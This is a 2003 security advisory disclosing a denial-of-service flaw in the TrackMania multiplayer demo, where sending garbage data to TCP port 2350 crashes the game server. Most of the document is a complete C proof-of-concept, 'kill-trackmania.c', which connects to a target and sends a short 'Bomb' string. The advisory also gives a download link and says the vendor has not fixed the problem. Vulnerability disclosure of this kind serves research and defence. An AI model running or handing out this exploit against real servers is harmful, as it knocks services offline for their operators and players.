TrackMania Demo Denial of Service The original document can be found at http://www.securiteinfo.com/attaques/hacking/trackmaniados.shtml .oO Overview Oo. TrackMania Demo Denial of Service Discovered on 2003, November, 30th Vendor: TrackMania Official website http://www.trackmania.com TrackMania is a "Stunt Car Racer" like game. The multiplayer demo of this game is subject to denial of service. .oO Details Oo. The multiplayer game use TCP port 2350 to communicate. If you send some garbage to this port, it will shutdown the game server. .oO Exploit Oo. Here is the proof of concept : /* * [kill-trackmania.c] * A remote DoS that affects the Trackmania game server * * by Scrap * webmaster@securiteinfo.com * http://www.securiteinfo.com * * gcc kill-trackmania.c -o kill-trackmania -O2 * */ #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> int main(int argc, char *argv[]) { int sock; struct sockaddr_in sin; struct hostent *he; unsigned long start; char buffer[1024]; unsigned long counter; printf("\n [kill-trackmania.c] by Scrap / Securiteinfo.com\n"); if (argc<2) { printf("Usage: %s target\n\n",argv[0]); exit(0); } if ((he=gethostbyname(argv[1])) == NULL) { herror("gethostbyname"); exit(0); } start=inet_addr(argv[1]); counter=ntohl(start); sock=socket(AF_INET, SOCK_STREAM, 0); bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length); sin.sin_family=AF_INET; sin.sin_port=htons(2350); if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0) { perror("connect"); exit(0); } printf("\n\t Sending Bomb... \n"); send(sock, "Bomb from Securiteinfo.com\n\n",17,0); close(sock); printf("\t Bomb sent...\n"); } Download kill-trackmania.c at http://www.securiteinfo.com/download/kill-trackmania.c .oO Solution Oo. The vendor has been informed and has not solved the problem. .oO Discovered by Oo. Arnaud Jacques aka scrap webmaster@securiteinfo.com http://www.securiteinfo.com